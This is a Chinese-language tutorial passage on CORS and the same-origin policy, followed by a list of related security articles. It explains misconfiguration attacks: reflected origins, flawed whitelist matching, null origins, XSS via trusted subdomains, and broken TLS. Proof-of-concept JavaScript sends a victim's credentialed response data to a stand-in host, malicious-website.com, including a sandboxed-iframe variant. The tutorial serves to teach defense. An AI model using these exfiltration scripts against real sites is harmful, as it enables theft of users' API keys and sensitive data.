Web Security 之 CORS(上)

简介: Web Security 之 CORS

Cross-origin resource sharing (CORS)

在本节中,我们将解释什么是跨域资源共享(CORS),并描述一些基于 CORS 的常见攻击示例,以及讨论如何防御这些攻击。

CORS(跨域资源共享)是什么?

CORS(跨域资源共享)是一种浏览器机制,它允许对位于当前访问域之外的资源进行受控访问。它扩展并增加了同源策略的灵活性。然而,如果一个网站的 CORS 策略配置和实现不当,它也可能导致基于跨域的攻击。CORS 不是针对跨源攻击(例如跨站请求伪造 CSRF)的保护。

Same-origin policy(同源策略)

同源策略是一种限制性的跨域规范,它限制了网站与源域之外资源交互的能力。同源策略是多年前定义的,用于应对潜在的恶意跨域交互,例如一个网站从另一个网站窃取私人数据。它通常允许域向其他域发出请求,但不允许访问响应。

更多内容可参考下本 Same-origin-policy 。

同源策略的放宽

同源策略具有很大的限制性,因此人们设计了很多方法去规避这些限制。许多网站与子域或第三方网站的交互方式要求完全的跨域访问。使用跨域资源共享(CORS)可以有控制地放宽同源策略。

CORS 协议使用一组 HTTP header 来定义可信的 web 域和相关属性,例如是否允许通过身份验证的访问。浏览器和它试图访问的跨域网站之间进行这些 header 的交换。

更多内容可参考下文 CORS and the Access-Control-Allow-Origin response header 。

CORS 配置不当引发的漏洞

现在许多网站使用 CORS 来允许来自子域和可信的第三方的访问。他们对 CORS 的实现可能包含有错误或过于放宽,这可能导致可利用的漏洞。

服务端 ACAO 直接返回客户端的 Origin

有些应用程序需要允许很多其它域的访问。维护一个允许域的列表需要付出持续的努力,任何差错都有可能造成破坏。因此,应用程序可能使用一些更加简单的方法来达到最终目的。

一种方法是从请求头中读取 Origin,然后将其作为 Access-Control-Allow-Origin 响应头返回。例如,应用程序接受了以下请求:

GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://malicious-website.com
Cookie: sessionid=...

然后,其响应:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true

响应头表明允许从请求域进行访问,并且跨域请求可以包括 cookies(Access-Control-Allow-Credentials: true),因此浏览器将会在会话中进行处理。

由于应用程序在 Access-Control-Allow-Origin 头中直接返回了请求域,这意味着任何域都可以访问资源。如果响应中包含了任何敏感信息,如 API key 或者 CSRF token 则都可以被获取,你可以在你的网站上放置以下脚本进行检索:

var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='//malicious-website.com/log?key='+this.responseText;
};

Origin 处理漏洞

某些应用程序使用白名单机制来实现可信来源的访问允许。当收到 CORS 请求时,将请求头中的 origin 与白名单进行比较,如果在白名单中,则在 Access-Control-Allow-Origin 头中返回请求的 origin 以允许其跨域访问。例如,应用程序收到了如下的请求:

GET /data HTTP/1.1
Host: normal-website.com
...
Origin: https://innocent-website.com

应用程序检查白名单列表,如果 origin 在表中,则响应:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://innocent-website.com

在实现 CORS origin 白名单时很可能会犯一些失误。某个组织决定允许从其所有子域(包括尚未存在的未来子域)进行访问。应用程序允许从其他组织的域(包括其子域)进行访问。这些规则通常通过匹配 URL 前缀或后缀,或使用正则表达式来实现。实现中的任何失误都可能导致访问权限被授予意外的外部域。

例如,假设应用程序允许以下结尾的所有域的访问权限:

normal-website.com

攻击者则可以通过注册以下域来获得访问权限(结尾匹配):

hackersnormal-website.com

或者应用程序允许以下开头的所有域的访问权限:

normal-website.com

攻击者则可以使用以下域获得访问权限(开头匹配):

normal-website.com.evil-user.net

Origin 白名单允许 null 值

浏览器会在以下情况下发送值为 null 的 Origin 头:

  • 跨站点重定向
  • 来自序列化数据的请求
  • 使用 file: 协议的请求
  • 沙盒中的跨域请求

某些应用程序可能会在白名单中允许 null 以方便本地开发。例如,假设应用程序收到了以下跨域请求:

GET /sensitive-victim-data
Host: vulnerable-website.com
Origin: null

服务器响应:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

在这种情况下,攻击者可以使用各种技巧生成 Origin 为 null 的请求以通过白名单,从而获得访问权限。例如,可以使用 iframe 沙盒进行跨域请求:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='malicious-website.com/log?key='+this.responseText;
};
</script>"></iframe>

通过 CORS 信任关系利用 XSS

CORS 会在两个域之间建立信任关系,即使 CORS 是正确的配置,但是如果某个受信任的网站存在 XSS 漏洞,那么攻击者就可以利用 XSS 漏洞注入脚本,进而从受信任的网站上获取敏感信息。

假设请求为:

GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: https://subdomain.vulnerable-website.com
Cookie: sessionid=...

如果服务器响应:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true

那么攻击者可以通过 subdomain.vulnerable-website.com 网站上的 XSS 漏洞去获取一些敏感数据:

https://subdomain.vulnerable-website.com/?xss=<script>cors-stuff-here</script>

使用配置有问题的 CORS 中断 TLS

假设一个严格使用 HTTPS 的应用程序也通过白名单信任了一个使用 HTTP 的子域。例如,当应用程序收到以下请求时:

GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: http://trusted-subdomain.vulnerable-website.com
Cookie: sessionid=...

应用程序响应:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://trusted-subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true

在这种情况下,能够拦截受害者用户流量的攻击者可以利用 CORS 来破坏受害者与应用程序的正常交互。攻击步骤如下:

即使易受攻击的网站对 HTTPS 的使用没有漏洞,并且没有 HTTP 端点,同时所有 Cookie 都标记为安全,此攻击也是有效的。

目录
相关文章
|
3天前
|
前端开发 API 数据安全/隐私保护
Web前端开发中的跨域资源共享(CORS)解决方案
【2月更文挑战第5天】在Web前端开发中,跨域资源共享(CORS)是一个常见的挑战。本文将探讨CORS的概念和原理,并介绍一些常用的解决方案,包括服务器端配置和前端处理方法,帮助开发者更好地应对跨域请求问题。
132 4
|
8月前
|
存储 安全 网络协议
Web Security 之 CSRF
Web Security 之 CSRF
30 0
|
2天前
|
存储 安全 前端开发
第五章 跨域资源共享(CORS):现代Web开发中的关键机制
第五章 跨域资源共享(CORS):现代Web开发中的关键机制
|
3天前
|
缓存 前端开发 安全
Python web框架fastapi中间件的使用,CORS跨域详解
Python web框架fastapi中间件的使用,CORS跨域详解
|
7月前
|
安全 Java Go
使用Spring Security保障你的Web应用安全
使用Spring Security保障你的Web应用安全
59 0
|
8月前
|
SQL 安全 Java
Web Security 之 Server-side template injection
Web Security 之 Server-side template injection
36 0
|
8月前
|
存储 安全 Java
Web Security 之 Insecure deserialization
Web Security 之 Insecure deserialization
23 0
|
8月前
|
存储 SQL JavaScript
Web Security 之 DOM-based vulnerabilities
Web Security 之 DOM-based vulnerabilities
66 0
|
8月前
|
缓存 安全 网络协议
Web Security 之 HTTP Host header attacks(下)
Web Security 之 HTTP Host header attacks
46 0
|
8月前
|
SQL 缓存 负载均衡
Web Security 之 HTTP Host header attacks(上)
Web Security 之 HTTP Host header attacks
276 0